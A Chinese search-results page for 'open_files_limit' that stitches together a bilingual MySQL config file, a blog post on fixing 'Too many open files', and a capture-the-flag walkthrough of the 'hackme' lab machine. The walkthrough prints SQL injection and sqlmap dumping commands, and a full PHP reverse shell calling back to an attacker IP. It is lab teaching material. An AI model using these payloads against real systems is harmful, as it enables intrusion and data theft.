[open_files_limit]的搜索结果

...:\Program Files\MySQL\MySQL Server X.Y). To make sure the server reads the config file use the startup option "--defaults-file". 在Windows上你应该保持这个文件在服务器的安装目录(例如C:\Program Files\MySQL\MySQL服务器X.Y)。要确保服务器读取配置文件，请使用启动选项“——default -file”。 To run the server from the command line, execute this in a command line shell, e.g. mysqld --defaults-file="C:\Program Files\MySQL\MySQL Server X.Y\my.ini" 要从命令行运行服务器，请在命令行shell中执行，例如mysqld——default -file="C:\Program Files\MySQL\MySQL server X.Y\my.ini" To install the server as a Windows service manually, execute this in a command line shell, e.g. mysqld --install MySQLXY --defaults-file="C:\Program Files\MySQL\MySQL Server X.Y\my.ini" 要手动将服务器安装为Windows服务，请在命令行shell中执行此操作，例如mysqld——install MySQLXY——default -file="C:\Program Files\MySQL\MySQL server X.Y\my.ini" And then execute this in a command line shell to start the server, e.g. net start MySQLXY 然后在命令行shell中执行这个命令来启动服务器，例如net start MySQLXY Guidelines for editing this file编辑此文件的指南 ---------------------------------------------------------------------- In this file, you can use all long options that the program supports. If you want to know the options a program supports, start the program with the "--help" option. 在这个文件中，您可以使用程序支持的所有长选项。如果您想知道程序支持的选项，请使用“——help”选项启动程序。 More detailed information about the individual options can also be found in the manual. For advice on how to change settings please see https://dev.mysql.com/doc/refman/8.0/en/server-configuration-defaults.html 有关各个选项的更详细信息也可以在手册中找到。有关如何更改设置的建议，请参见https://dev.mysql.com/doc/refman/8.0/en/server-configuration-defaults.html CLIENT SECTION 客户端部分 ---------------------------------------------------------------------- The following options will be read by MySQL client applications. Note that only client applications shipped by MySQL are guaranteed to read this section. If you want your own MySQL client program to honor these values, you need to specify it as an option during the MySQL client library initialization. MySQL客户机应用程序将读取以下选项。注意，只有MySQL提供的客户端应用程序才能阅读本节。如果您希望自己的MySQL客户机程序遵守这些值，您需要在初始化MySQL客户机库时将其指定为一个选项。 [client] pipe= socket=MYSQL port=3306 [mysql] no-beep default-character-set= SERVER SECTION 服务器部分 ---------------------------------------------------------------------- The following options will be read by the MySQL Server. Make sure that you have installed the server correctly (see above) so it reads this file. MySQL服务器将读取以下选项。确保您已经正确安装了服务器(参见上面)，以便它读取这个文件。 server_type=3 [mysqld] The next three options are mutually exclusive to SERVER_PORT below. 下面的三个选项对SERVER_PORT是互斥的。skip-networking enable-named-pipe 共享内存 skip-networking enable-named-pipe shared-memory shared-memory-base-name=MYSQL The Pipe the MySQL Server will use socket=MYSQL The TCP/IP Port the MySQL Server will listen on port=3306 Path to installation directory. All paths are usually resolved relative to this. basedir="C:/Program Files/MySQL/MySQL Server 8.0/" Path to the database root datadir=C:/ProgramData/MySQL/MySQL Server 8.0/Data The default character set that will be used when a new schema or table is created and no character set is defined 创建新模式或表时使用的默认字符集，并且没有定义字符集 character-set-server= The default authentication plugin to be used when connecting to the server 连接到服务器时使用的默认身份验证插件 default_authentication_plugin=caching_sha2_password The default storage engine that will be used when create new tables when 当创建新表时将使用的默认存储引擎 default-storage-engine=INNODB Set the SQL mode to strict 将SQL模式设置为strict sql-mode="STRICT_TRANS_TABLES,NO_ENGINE_SUBSTITUTION" General and Slow logging. 一般和缓慢的日志。 log-output=NONE general-log=0 general_log_file="DESKTOP-NF9QETB.log" slow-query-log=0 slow_query_log_file="DESKTOP-NF9QETB-slow.log" long_query_time=10 Binary Logging. 二进制日志。 log-bin Error Logging. 错误日志记录。 log-error="DESKTOP-NF9QETB.err" Server Id. server-id=1 Indicates how table and database names are stored on disk and used in MySQL. 指示表名和数据库名如何存储在磁盘上并在MySQL中使用。 Value = 0: Table and database names are stored on disk using the lettercase specified in the CREATE TABLE or CREATE DATABASE statement. Name comparisons are case sensitive. You should not set this variable to 0 if you are running MySQL on a system that has case-insensitive file names (such as Windows or macOS). Value = 0:表名和数据库名使用CREATE Table或CREATE database语句中指定的lettercase存储在磁盘上。名称比较区分大小写。如果您在一个具有不区分大小写文件名(如Windows或macOS)的系统上运行MySQL，则不应将该变量设置为0。 Value = 1: Table names are stored in lowercase on disk and name comparisons are not case-sensitive. MySQL converts all table names to lowercase on storage and lookup. This behavior also applies to database names and table aliases. 表名以小写存储在磁盘上，并且名称比较不区分大小写。MySQL在存储和查找时将所有表名转换为小写。此行为也适用于数据库名称和表别名。 Value = 3, Table and database names are stored on disk using the lettercase specified in the CREATE TABLE or CREATE DATABASE statement, but MySQL converts them to lowercase on lookup. Name comparisons are not case sensitive. This works only on file systems that are not case-sensitive! InnoDB table names and view names are stored in lowercase, as for Value = 1.表名和数据库名使用CREATE Table或CREATE database语句中指定的lettercase存储在磁盘上，但是MySQL在查找时将它们转换为小写。名称比较不区分大小写。这只适用于不区分大小写的文件系统!InnoDB表名和视图名以小写存储，Value = 1。 NOTE: lower_case_table_names can only be configured when initializing the server. Changing the lower_case_table_names setting after the server is initialized is prohibited. lower_case_table_names=1 Secure File Priv. 权限安全文件 secure-file-priv="C:/ProgramData/MySQL/MySQL Server 8.0/Uploads" The maximum amount of concurrent sessions the MySQL server will allow. One of these connections will be reserved for a user with SUPER privileges to allow the administrator to login even if the connection limit has been reached. MySQL服务器允许的最大并发会话量。这些连接中的一个将保留给具有超级特权的用户，以便允许管理员登录，即使已经达到连接限制。 max_connections=151 The number of open tables for all threads. Increasing this value increases the number of file descriptors that mysqld requires. Therefore you have to make sure to set the amount of open files allowed to at least 4096 in the variable "open-files-limit" in 为所有线程打开的表的数量。增加这个值会增加mysqld需要的文件描述符的数量。因此，您必须确保在[mysqld_safe]节中的变量“open-files-limit”中将允许打开的文件数量至少设置为4096 section [mysqld_safe] table_open_cache=2000 Maximum size for internal (in-memory) temporary tables. If a table grows larger than this value, it is automatically converted to disk based table This limitation is for a single table. There can be many of them. 内部(内存)临时表的最大大小。如果一个表比这个值大，那么它将自动转换为基于磁盘的表。可以有很多。 tmp_table_size=94M How many threads we should keep in a cache for reuse. When a client disconnects, the client's threads are put in the cache if there aren't more than thread_cache_size threads from before. This greatly reduces the amount of thread creations needed if you have a lot of new connections. (Normally this doesn't give a notable performance improvement if you have a good thread implementation.) 我们应该在缓存中保留多少线程以供重用。当客户机断开连接时，如果之前的线程数不超过thread_cache_size，则将客户机的线程放入缓存。如果您有很多新连接，这将大大减少所需的线程创建量(通常，如果您有一个良好的线程实现，这不会带来显著的性能改进)。 thread_cache_size=10 MyISAM Specific options The maximum size of the temporary file MySQL is allowed to use while recreating the index (during REPAIR, ALTER TABLE or LOAD DATA INFILE. If the file-size would be bigger than this, the index will be created through the key cache (which is slower). MySQL允许在重新创建索引时(在修复、修改表或加载数据时)使用临时文件的最大大小。如果文件大小大于这个值，那么索引将通过键缓存创建(这比较慢)。 myisam_max_sort_file_size=100G If the temporary file used for fast index creation would be bigger than using the key cache by the amount specified here, then prefer the key cache method. This is mainly used to force long character keys in large tables to use the slower key cache method to create the index. myisam_sort_buffer_size=179M Size of the Key Buffer, used to cache index blocks for MyISAM tables. Do not set it larger than 30% of your available memory, as some memory is also required by the OS to cache rows. Even if you're not using MyISAM tables, you should still set it to 8-64M as it will also be used for internal temporary disk tables. 如果用于快速创建索引的临时文件比这里指定的使用键缓存的文件大，则首选键缓存方法。这主要用于强制大型表中的长字符键使用较慢的键缓存方法来创建索引。 key_buffer_size=8M Size of the buffer used for doing full table scans of MyISAM tables. Allocated per thread, if a full scan is needed. 用于对MyISAM表执行全表扫描的缓冲区的大小。如果需要完整的扫描，则为每个线程分配。 read_buffer_size=256K read_rnd_buffer_size=512K INNODB Specific options INNODB特定选项 innodb_data_home_dir= Use this option if you have a MySQL server with InnoDB support enabled but you do not plan to use it. This will save memory and disk space and speed up some things. 如果您启用了一个支持InnoDB的MySQL服务器，但是您不打算使用它，那么可以使用这个选项。这将节省内存和磁盘空间，并加快一些事情。skip-innodb skip-innodb If set to 1, InnoDB will flush (fsync) the transaction logs to the disk at each commit, which offers full ACID behavior. If you are willing to compromise this safety, and you are running small transactions, you may set this to 0 or 2 to reduce disk I/O to the logs. Value 0 means that the log is only written to the log file and the log file flushed to disk approximately once per second. Value 2 means the log is written to the log file at each commit, but the log file is only flushed to disk approximately once per second. 如果设置为1,InnoDB将在每次提交时将事务日志刷新(fsync)到磁盘，这将提供完整的ACID行为。如果您愿意牺牲这种安全性，并且正在运行小型事务，您可以将其设置为0或2，以将磁盘I/O减少到日志。值0表示日志仅写入日志文件，日志文件大约每秒刷新一次磁盘。值2表示日志在每次提交时写入日志文件，但是日志文件大约每秒只刷新一次磁盘。 innodb_flush_log_at_trx_commit=1 The size of the buffer InnoDB uses for buffering log data. As soon as it is full, InnoDB will have to flush it to disk. As it is flushed once per second anyway, it does not make sense to have it very large (even with long transactions).InnoDB用于缓冲日志数据的缓冲区大小。一旦它满了，InnoDB就必须将它刷新到磁盘。由于它无论如何每秒刷新一次，所以将它设置为非常大的值是没有意义的(即使是长事务)。 innodb_log_buffer_size=5M InnoDB, unlike MyISAM, uses a buffer pool to cache both indexes and row data. The bigger you set this the less disk I/O is needed to access data in tables. On a dedicated database server you may set this parameter up to 80% of the machine physical memory size. Do not set it too large, though, because competition of the physical memory may cause paging in the operating system. Note that on 32bit systems you might be limited to 2-3.5G of user level memory per process, so do not set it too high. 与MyISAM不同，InnoDB使用缓冲池来缓存索引和行数据。设置的值越大，访问表中的数据所需的磁盘I/O就越少。在专用数据库服务器上，可以将该参数设置为机器物理内存大小的80%。但是，不要将它设置得太大，因为物理内存的竞争可能会导致操作系统中的分页。注意，在32位系统上，每个进程的用户级内存可能被限制在2-3.5G，所以不要设置得太高。 innodb_buffer_pool_size=20M Size of each log file in a log group. You should set the combined size of log files to about 25%-100% of your buffer pool size to avoid unneeded buffer pool flush activity on log file overwrite. However, note that a larger logfile size will increase the time needed for the recovery process. 日志组中每个日志文件的大小。您应该将日志文件的合并大小设置为缓冲池大小的25%-100%，以避免在覆盖日志文件时出现不必要的缓冲池刷新活动。但是，请注意，较大的日志文件大小将增加恢复过程所需的时间。 innodb_log_file_size=48M Number of threads allowed inside the InnoDB kernel. The optimal value depends highly on the application, hardware as well as the OS scheduler properties. A too high value may lead to thread thrashing. InnoDB内核中允许的线程数。最优值在很大程度上取决于应用程序、硬件以及OS调度程序属性。过高的值可能导致线程抖动。 innodb_thread_concurrency=9 The increment size (in MB) for extending the size of an auto-extend InnoDB system tablespace file when it becomes full. 增量大小(以MB为单位)，用于在表空间满时扩展自动扩展的InnoDB系统表空间文件的大小。 innodb_autoextend_increment=128 The number of regions that the InnoDB buffer pool is divided into. For systems with buffer pools in the multi-gigabyte range, dividing the buffer pool into separate instances can improve concurrency, by reducing contention as different threads read and write to cached pages. InnoDB缓冲池划分的区域数。对于具有多gb缓冲池的系统，将缓冲池划分为单独的实例可以提高并发性，因为不同的线程对缓存页面的读写会减少争用。 innodb_buffer_pool_instances=8 Determines the number of threads that can enter InnoDB concurrently. 确定可以同时进入InnoDB的线程数 innodb_concurrency_tickets=5000 Specifies how long in milliseconds (ms) a block inserted into the old sublist must stay there after its first access before it can be moved to the new sublist. 指定插入到旧子列表中的块必须在第一次访问之后停留多长时间(毫秒)，然后才能移动到新子列表。 innodb_old_blocks_time=1000 It specifies the maximum number of .ibd files that MySQL can keep open at one time. The minimum value is 10. 它指定MySQL一次可以打开的.ibd文件的最大数量。最小值是10。 innodb_open_files=300 When this variable is enabled, InnoDB updates statistics during metadata statements. 当启用此变量时，InnoDB会在元数据语句期间更新统计信息。 innodb_stats_on_metadata=0 When innodb_file_per_table is enabled (the default in 5.6.6 and higher), InnoDB stores the data and indexes for each newly created table in a separate .ibd file, rather than in the system tablespace. 当启用innodb_file_per_table(5.6.6或更高版本的默认值)时，InnoDB将每个新创建的表的数据和索引存储在单独的.ibd文件中，而不是系统表空间中。 innodb_file_per_table=1 Use the following list of values: 0 for crc32, 1 for strict_crc32, 2 for innodb, 3 for strict_innodb, 4 for none, 5 for strict_none. 使用以下值列表:0表示crc32, 1表示strict_crc32, 2表示innodb, 3表示strict_innodb, 4表示none, 5表示strict_none。 innodb_checksum_algorithm=0 The number of outstanding connection requests MySQL can have. This option is useful when the main MySQL thread gets many connection requests in a very short time. It then takes some time (although very little) for the main thread to check the connection and start a new thread. The back_log value indicates how many requests can be stacked during this short time before MySQL momentarily stops answering new requests. You need to increase this only if you expect a large number of connections in a short period of time. MySQL可以有多少未完成连接请求。当MySQL主线程在很短的时间内收到许多连接请求时，这个选项非常有用。然后，主线程需要一些时间(尽管很少)来检查连接并启动一个新线程。back_log值表示在MySQL暂时停止响应新请求之前的短时间内可以堆多少个请求。只有当您预期在短时间内会有大量连接时，才需要增加这个值。 back_log=80 If this is set to a nonzero value, all tables are closed every flush_time seconds to free up resources and synchronize unflushed data to disk. This option is best used only on systems with minimal resources. 如果将该值设置为非零值，则每隔flush_time秒关闭所有表，以释放资源并将未刷新的数据同步到磁盘。这个选项最好只在资源最少的系统上使用。 flush_time=0 The minimum size of the buffer that is used for plain index scans, range index scans, and joins that do not use 用于普通索引扫描、范围索引扫描和不使用索引执行全表扫描的连接的缓冲区的最小大小。 indexes and thus perform full table scans. join_buffer_size=200M The maximum size of one packet or any generated or intermediate string, or any parameter sent by the mysql_stmt_send_long_data() C API function. 由mysql_stmt_send_long_data() C API函数发送的一个包或任何生成的或中间字符串或任何参数的最大大小 max_allowed_packet=500M If more than this many successive connection requests from a host are interrupted without a successful connection, the server blocks that host from performing further connections. 如果在没有成功连接的情况下中断了来自主机的多个连续连接请求，则服务器将阻止主机执行进一步的连接。 max_connect_errors=100 Changes the number of file descriptors available to mysqld. You should try increasing the value of this option if mysqld gives you the error "Too many open files". 更改mysqld可用的文件描述符的数量。如果mysqld给您的错误是“打开的文件太多”，您应该尝试增加这个选项的值。 open_files_limit=4161 If you see many sort_merge_passes per second in SHOW GLOBAL STATUS output, you can consider increasing the sort_buffer_size value to speed up ORDER BY or GROUP BY operations that cannot be improved with query optimization or improved indexing. 如果在SHOW GLOBAL STATUS输出中每秒看到许多sort_merge_passes，可以考虑增加sort_buffer_size值，以加快ORDER BY或GROUP BY操作的速度，这些操作无法通过查询优化或改进索引来改进。 sort_buffer_size=1M The number of table definitions (from .frm files) that can be stored in the definition cache. If you use a large number of tables, you can create a large table definition cache to speed up opening of tables. The table definition cache takes less space and does not use file descriptors, unlike the normal table cache. The minimum and default values are both 400. 可以存储在定义缓存中的表定义的数量(来自.frm文件)。如果使用大量表，可以创建一个大型表定义缓存来加速表的打开。与普通的表缓存不同，表定义缓存占用更少的空间，并且不使用文件描述符。最小值和默认值都是400。 table_definition_cache=1400 Specify the maximum size of a row-based binary log event, in bytes. Rows are grouped into events smaller than this size if possible. The value should be a multiple of 256. 指定基于行的二进制日志事件的最大大小，单位为字节。如果可能，将行分组为小于此大小的事件。这个值应该是256的倍数。 binlog_row_event_max_size=8K If the value of this variable is greater than 0, a replication slave synchronizes its master.info file to disk. (using fdatasync()) after every sync_master_info events. 如果该变量的值大于0，则复制奴隶将其主.info文件同步到磁盘。(在每个sync_master_info事件之后使用fdatasync())。 sync_master_info=10000 If the value of this variable is greater than 0, the MySQL server synchronizes its relay log to disk. (using fdatasync()) after every sync_relay_log writes to the relay log. 如果这个变量的值大于0,MySQL服务器将其中继日志同步到磁盘。(在每个sync_relay_log写入到中继日志之后使用fdatasync())。 sync_relay_log=10000 If the value of this variable is greater than 0, a replication slave synchronizes its relay-log.info file to disk. (using fdatasync()) after every sync_relay_log_info transactions. 如果该变量的值大于0，则复制奴隶将其中继日志.info文件同步到磁盘。(在每个sync_relay_log_info事务之后使用fdatasync())。 sync_relay_log_info=10000 Load mysql plugins at start."plugin_x ; plugin_y". 开始时加载mysql插件。“plugin_x;plugin_y” plugin_load The TCP/IP Port the MySQL Server X Protocol will listen on. MySQL服务器X协议将监听TCP/IP端口。 loose_mysqlx_port=33060 本篇文章为转载内容。原文链接：https://blog.csdn.net/mywpython/article/details/89499852。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...“Too many open files”（打开的文件太多）。 这让我立刻联想到，可能是因为MySQL的某些进程打开了过多的文件句柄，导致操作系统限制了它进一步的操作。为了验证这一点，我执行了一个简单的命令来检查当前系统的文件描述符限制： bash ulimit -n 结果显示默认值为1024。这意味着每个进程最多只能同时打开1024个文件。说实话，咱们的MySQL实例现在正忙着应付一大堆同时连进来的需求，还得折腾临时表呢。这么一看，那个限制就跟挠痒痒似的——太不够用了！ 接下来，我查看了MySQL的配置文件my.cnf，发现确实没有显式设置文件描述符的上限。于是，我修改了配置文件，将open_files_limit参数调整为更大的值： ini [mysqld] open_files_limit=65535 然后重启了MySQL服务，再次检查日志，果然，错误消失了！ --- 3. 实践中的代码调试与优化 当然，仅仅解决问题还不够，我还想进一步优化整个系统的性能。于是，我编写了一些脚本来监控MySQL的运行状态，特别是文件描述符的使用情况。 以下是一个简单的Python脚本，用于统计MySQL当前使用的文件描述符数量： python import psutil import subprocess def get_mysql_open_files(): 获取所有MySQL进程ID mysql_pids = [] result = subprocess.run(['pgrep', 'mysqld'], capture_output=True, text=True) for line in result.stdout.splitlines(): mysql_pids.append(int(line)) total_open_files = 0 for pid in mysql_pids: try: proc = psutil.Process(pid) open_files = len(proc.open_files()) print(f"Process {pid} has opened {open_files} files.") total_open_files += open_files except Exception as e: print(f"Error checking process {pid}: {e}") print(f"Total open files by MySQL processes: {total_open_files}") if __name__ == "__main__": get_mysql_open_files() 运行这个脚本后，我发现某些特定的查询会导致文件描述符迅速增加。经过分析，这些问题主要出现在涉及大文件读写的场景中。所以呢，我觉得咱们开发的小伙伴们得好好捯饬捯饬这些查询语句啦！比如说，能不能少建那些没用的临时表啊？再比如，能不能换个更快的存储引擎啥的？反正就是得让这个程序跑得更顺畅些，别老是卡在那里干瞪眼不是？ --- 4. 总结与反思 从问题中学到的东西 回顾这次经历，我深刻体会到，处理数据库问题时，不能仅凭直觉行事，而是要结合实际数据和技术手段，逐步排查问题的根本原因。同时，我也认识到，预防胜于治疗。如果能在日常运维中提前做好监控和预警，就可以避免很多突发状况。 最后，我想分享一点个人感悟：技术之路永无止境，每一次遇到难题都是一次成长的机会。说实话，有时候真的会觉得头大，甚至怀疑自己是不是走错了路。但我觉得啊，这就好比在黑暗里找钥匙，你得不停地摸索、试错才行。只要别轻易放弃，一直在学、一直在练，总有一天你会发现，“！原来它在这儿呢！”就跟我在处理这个MySQL报错的时候似的，最后不光把问题搞定了，还顺带学了不少实用的招儿呢！ 如果你也遇到了类似的情况，不妨试试上面提到的方法，也许能帮到你！

...s to gain limited privilege access via web vulnerabilities and subsequently privilege escalate as root. The lab was created to mimic real life environment. ‘hackme’ uses DHCP and in the possible event that the mysqld shuts down on its own (very rare cases), attempt to force restart the machine and it should be working fine subsequently. This works better with VirtualBox rather than VMware 一、搭建靶机环境 攻击机Kali： IP地址：192.168.184.128 靶机： IP地址：192.168.184.149 注：靶机与Kali的IP地址只需要在同一局域网即可（同一个网段,即两虚拟机处于同一网络模式） 二、实战 2.1网络扫描 2.1.1 启动靶机和Kali后进行扫描 方法一、arp-scan -I eth0 -l （指定网卡扫） arp-scan -I eth0 -l 方法二、masscan 扫描的网段 -p 扫描端口号 masscan 192.168.184.0/24 -p 80,22 方法三、netdiscover -i 网卡-r 网段 netdiscover -i eth0 -r 192.168.184.0/24 方法四、等你们补充 2.1.2 查看靶机开放的端口 使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口 可以发现有 2 个端口开放，22 和 80 2.1.3 尝试访问靶机网页 2.2枚举漏洞 22 端口分析 一般只能暴力破解，暂时没有合适的字典 80 端口分析 访问网站， 发现是一个登陆页面 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Nm2jCq05-1650016495541)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110170424128.png)] 成功登录后 尝试手工注入：x' or 1=1 成功返回所有信息，说明存在SQL注入 2.3漏洞利用 2.3.1 sqlmap 利用注入漏洞 使用 burp 抓查询数据包 POST /welcome.php HTTP/1.1Host: 192.168.184.149Content-Length: 23Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.184.149Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.184.149/welcome.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=jub1jihglt85brngo5imqsifb3Connection: closesearch=x 将数据包保存为文件 hackme1.txt 使用 sqlmap 跑一下测试漏洞并获取数据库名： 🚀 python sqlmap.py -r hackme1.txt --dbs --batch [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DjhXfuV9-1650016495544)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110171527015.png)] 数据库除了基础数据库有webapphacking 接下来咱们获取一下表名 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking --tables [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1mzxiwhu-1650016495544)(C:\Users\zhang\AppData\Roaming\Typora\typora-user-images\image-20220110172336353.png)] 可以得到两个表books和users 咱们先获取一下users表的信息 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking -T users --dump --batch 可以看到有一个superadmin，超级管理员，看起来像一个md5 扩展 在线解密md5网站 国内MD5解密： http://t007.cn/ https://cmd5.la/ https://cmd5.com/ https://pmd5.com/ http://ttmd5.com/ https://md5.navisec.it/ http://md5.tellyou.top/ https://www.somd5.com/ http://www.chamd5.org/ 国外MD5解密： https://www.md5tr.com/ http://md5.my-addr.com/ https://md5.gromweb.com/ https://www.md5decrypt.org/ https://md5decrypt.net/en/ https://md5hashing.net/hash/md5/ https://hashes.com/en/decrypt/hash https://www.whatsmyip.org/hash-lookup/ https://www.md5online.org/md5-decrypt.html https://md5-passwort.de/md5-passwort-suchen 解出来密码是：Uncrackable 登录上去，发现有上传功能 2.3.2 文件上传漏洞 getshell 将 kali 自带的 php-reverse-shell.php 复制一份到 查看文件内容，并修改IP地址 <?php// php-reverse-shell - A Reverse Shell implementation in PHP// Copyright (C) 2007 pentestmonkey@pentestmonkey.net//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. The author accepts no liability// for damage caused by this tool. If these terms are not acceptable to you, then// do not use this tool.//// In all other respects the GPL version 2 applies://// This program is free software; you can redistribute it and/or modify// it under the terms of the GNU General Public License version 2 as// published by the Free Software Foundation.//// This program is distributed in the hope that it will be useful,// but WITHOUT ANY WARRANTY; without even the implied warranty of// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the// GNU General Public License for more details.//// You should have received a copy of the GNU General Public License along// with this program; if not, write to the Free Software Foundation, Inc.,// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. If these terms are not acceptable to// you, then do not use this tool.//// You are encouraged to send comments, improvements or suggestions to// me at pentestmonkey@pentestmonkey.net//// Description// -----------// This script will make an outbound TCP connection to a hardcoded IP and port.// The recipient will be given a shell running as the current user (apache normally).//// Limitations// -----------// proc_open and stream_set_blocking require PHP version 4.3+, or 5+// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.//// Usage// -----// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);$VERSION = "1.0";$ip = '192.168.184.128'; // CHANGE THIS$port = 6666; // CHANGE THIS$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;//// Daemonise ourself if possible to avoid zombies later//// pcntl_fork is hardly ever available, but will allow us to daemonise// our php process and avoid zombies. Worth a try...if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0); // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;} else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}// Change to a safe directorychdir("/");// Remove any umask we inheritedumask(0);//// Do the reverse shell...//// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {printit("$errstr ($errno)");exit(1);}// Spawn shell process$descriptorspec = array(0 => array("pipe", "r"), // stdin is a pipe that the child will read from1 => array("pipe", "w"), // stdout is a pipe that the child will write to2 => array("pipe", "w") // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}// Set everything to non-blocking// Reason: Occsionally reads will block, even though stream_select tells us they won'tstream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);} }fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);// Like print, but does nothing if we've daemonised ourself// (I can't figure out how to redirect STDOUT like a proper daemon)function printit ($string) {if (!$daemon) {print "$string\n";} }?> [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RhgS5l2a-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173559344.png)] 上传该文件 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CKEldpll-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173801442.png)] 在 kali 监听：nc -lvp 6666 访问后门文件：http://192.168.184.149/php-reverse-shell.php 不成功 尝试加上传文件夹：http://192.168.184.149/uploads/php-reverse-shell.php 成功访问 使用 python 切换为 bash：python3 -c 'import pty; pty.spawn("/bin/bash")' 2.4权限提升 2.4.1 SUID 提权 sudo -l不顶用了，换个方法 查询 suid 权限程序: find / -perm -u=s -type f 2>/dev/null www-data@hackme:/$ find / -perm -u=s -type f 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null/snap/core20/1270/usr/bin/chfn/snap/core20/1270/usr/bin/chsh/snap/core20/1270/usr/bin/gpasswd/snap/core20/1270/usr/bin/mount/snap/core20/1270/usr/bin/newgrp/snap/core20/1270/usr/bin/passwd/snap/core20/1270/usr/bin/su/snap/core20/1270/usr/bin/sudo/snap/core20/1270/usr/bin/umount/snap/core20/1270/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core20/1270/usr/lib/openssh/ssh-keysign/snap/core/6531/bin/mount/snap/core/6531/bin/ping/snap/core/6531/bin/ping6/snap/core/6531/bin/su/snap/core/6531/bin/umount/snap/core/6531/usr/bin/chfn/snap/core/6531/usr/bin/chsh/snap/core/6531/usr/bin/gpasswd/snap/core/6531/usr/bin/newgrp/snap/core/6531/usr/bin/passwd/snap/core/6531/usr/bin/sudo/snap/core/6531/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/6531/usr/lib/openssh/ssh-keysign/snap/core/6531/usr/lib/snapd/snap-confine/snap/core/6531/usr/sbin/pppd/snap/core/5662/bin/mount/snap/core/5662/bin/ping/snap/core/5662/bin/ping6/snap/core/5662/bin/su/snap/core/5662/bin/umount/snap/core/5662/usr/bin/chfn/snap/core/5662/usr/bin/chsh/snap/core/5662/usr/bin/gpasswd/snap/core/5662/usr/bin/newgrp/snap/core/5662/usr/bin/passwd/snap/core/5662/usr/bin/sudo/snap/core/5662/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/5662/usr/lib/openssh/ssh-keysign/snap/core/5662/usr/lib/snapd/snap-confine/snap/core/5662/usr/sbin/pppd/snap/core/11993/bin/mount/snap/core/11993/bin/ping/snap/core/11993/bin/ping6/snap/core/11993/bin/su/snap/core/11993/bin/umount/snap/core/11993/usr/bin/chfn/snap/core/11993/usr/bin/chsh/snap/core/11993/usr/bin/gpasswd/snap/core/11993/usr/bin/newgrp/snap/core/11993/usr/bin/passwd/snap/core/11993/usr/bin/sudo/snap/core/11993/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/11993/usr/lib/openssh/ssh-keysign/snap/core/11993/usr/lib/snapd/snap-confine/snap/core/11993/usr/sbin/pppd/usr/lib/eject/dmcrypt-get-device/usr/lib/openssh/ssh-keysign/usr/lib/snapd/snap-confine/usr/lib/policykit-1/polkit-agent-helper-1/usr/lib/db